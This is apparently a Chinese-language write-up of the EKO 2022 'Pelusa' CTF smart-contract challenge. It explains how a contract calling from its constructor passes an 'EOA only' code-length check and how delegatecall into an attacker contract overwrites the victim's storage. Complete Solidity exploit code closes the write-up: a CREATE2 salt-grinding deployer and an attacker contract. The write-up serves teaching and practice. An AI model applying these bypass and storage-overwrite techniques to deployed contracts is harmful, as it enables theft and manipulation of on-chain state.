CTF-EKO-Pelusa
author:Thomas_Xu
先来看题目描述:
你只要睁开眼睛,就在 1986 年的墨西哥,帮助迭戈将比分从 1 比 2 定为胜利,做任何必要的事情!
好吧,题目没有有价值的提示,只知道我们需要修改一个比分?
来看合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 pragma solidity ^0.8 .7 ; interface IGame { function getBallPossesion ( ) external view returns (address ); } // "el baile de la gambeta " // https ://www .youtube .com /watch ?v =qzxn85zX2aE /// @title Pelusa /// @author https ://twitter .com /eugenioclrc /// @notice Its 1986, you are in the football world cup (Mexico86 ), help Diego score a goal . /// @custom :url https ://www .ctfprotocol .com /tracks /eko2022 /pelusa contract Pelusa { address private immutable owner; address internal player; uint256 public goals = 1 ; constructor () { owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number)))))); } function passTheBall ( ) external { require (msg.sender.code.length == 0 , "Only EOA players" ); require (uint256(uint160(msg.sender)) % 100 == 10 , "not allowed" ); player = msg.sender; } function isGoal ( ) public view returns (bool ) { return IGame(player).getBallPossesion() == owner; } function shoot ( ) external { require (isGoal(), "missed" ); (bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()" )); require (success, "missed" ); require (uint256(bytes32(data)) == 22 _06_1986); } }
合约代码很少,passTheBall
函数看起来限制了非EOA账户的调用,然后又对调用者的地址做了一个苛刻的判断。由于不能用合约调用,我们常用的create2跑靓号的解决方案行不通,那这个题看似无解?
但是…让我们来回想一下,Uniswap限制非EOA账户调用的方式是什么:
1 2 3 4 5 function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; }
通常是通过extcodesize
这个操作码来返回地址相关代码量的大小,大于0则是合约账户。
那么题目中的require(msg.sender.code.length == 0, "Only EOA players");
和extcodesize
有什么区别呢
address.code
是evm在创建合约之后的runtimecode,而合约的构造函数,正是在创建合约时运行的。
换句话说,在构造函数运行的时候,合约还没有被创建完成,runtimecode还没有被evm生成,address.code
的值仍然为0。
passTheBall()
将player成功赋值后,才真正进入challange,老规矩先看看Factory吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 function deploy (address ) external payable override returns (address[] memory ret ) { require (msg.value == 0 , "dont send ether" ); address _challenge = address(new Pelusa()); ret = new address[](1 ); ret[0 ] = _challenge; } function isComplete (address[] calldata _challenges ) external view override returns (bool ) { Pelusa _target = Pelusa(_challenges[0 ]); return _target.goals() == 2 ; }
可以看出来目的是修改goals为2。
但是在此合约中没有关于goals的赋值语句,那这个题反而变简单了。因为目前想要解题,几乎只有delegatecall这一种方式,很快我们就锁定了shoot
函数:
1 2 3 4 5 6 7 function shoot ( ) external { require (isGoal(), "missed" ); (bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()" )); require (success, "missed" ); require (uint256(bytes32(data)) == 22 _06_1986); }
第一个判断isGoal
如下:
1 2 3 4 function isGoal() public view returns (bool) { // expect ball in owners posession return IGame(player).getBallPossesion() == owner; }
要想通过这个判断,其实就是要获取owner的值,值得一提的是这个变量还没法通过web3.getStorageAt去获取,因为被声明为immutable
的变量保存在initcode里面,那这里其实是可以通过查看合约部署时属于哪个区块,照着样子abi编码即可。
1 address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))))
之后就进入到我们的delegatecall了,这里过于基础,就不讲了,相关内容可以移步https://thomasxu-blockchain.github.io/delegatecall/
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 pragma solidity 0.8 .17 ; import "../ChallengePelusa.sol" ;contract PelusaDeployer { ChallengePelusaAttacker public attacker; constructor (address target) { bytes32 salt = calculateSalt(target); attacker = new ChallengePelusaAttacker{ salt : bytes32(salt) }(target); } function calculateSalt (address target ) private view returns (bytes32 ) { uint256 salt = 0 ; bytes32 initHash = keccak256(abi.encodePacked(type(ChallengePelusaAttacker).creationCode, abi.encode(target))); while (true ) { bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff ), address(this ), bytes32(salt), initHash)); if (uint160(uint256(hash)) % 100 == 10 ) { break ; } salt += 1 ; } return bytes32(salt); } } contract ChallengePelusaAttacker is IGame { address private owner; uint256 public goals; Pelusa private pelusa; constructor (address _target) { pelusa = Pelusa(_target); pelusa.passTheBall(); } function attack (address _deployer ) external { owner = address(uint160(uint256(keccak256(abi.encodePacked(_deployer, bytes32(uint256(0 ))))))); pelusa.shoot(); } function getBallPossesion ( ) external view returns (address ) { return owner; } function handOfGod ( ) external returns (uint256 ) { goals = 2 ; return 22 _06_1986; } }
true
This is copyright.